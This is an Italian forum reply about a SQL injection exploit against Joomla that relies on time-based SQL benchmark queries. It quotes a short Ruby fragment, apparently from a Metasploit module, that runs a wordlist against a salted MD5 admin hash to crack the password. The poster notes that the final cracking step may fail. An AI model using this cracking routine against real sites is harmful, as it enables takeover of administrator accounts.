bello, molto bello, si nota che non centrano i pischelletti
![Smiley :)](https://forum.joomla.it/Smileys/default/smiley.gif)
![Smiley :)](https://forum.joomla.it/Smileys/default/smiley.gif)
..andare a pensare di sfruttare i benchmark sql è veramente pensare fuori dagli schemi
![Smiley :)](https://forum.joomla.it/Smileys/default/smiley.gif)
c'è un però che volevo sottolineare, come + o - ogni sqlinj, se non è permesso l'intoout, puoi solo mirare all'hash dell'admin, con il quale non ci fai nulla se non riesci a decriptarlo.
Quindi non è poi così scontato guadagnarsi l'admin del sito, infatti l'ultima parte non è detto che abbia successo:
# Does the wordlist exist?
if ( !File.exist?(wlst) )
# Failure
print_error("Unable to load wordlist: #{wlst}")
return nil
else
# Load the wordlist file
list = File.readlines(wlst)
end
# Verbose
print_status("Loaded #{list.count.to_s} words from the specified list")
print_status("This may take quite some time ...")
# Start time
bmc1 = Time.now.to_i
# Loop through list
list.each do | word |
# Cleanup
word = word.strip
# Counter
cntr = cntr + 1
# Attempt to find the plaintext password
if ( hash == Rex::Text.md5(word + salt) )
M.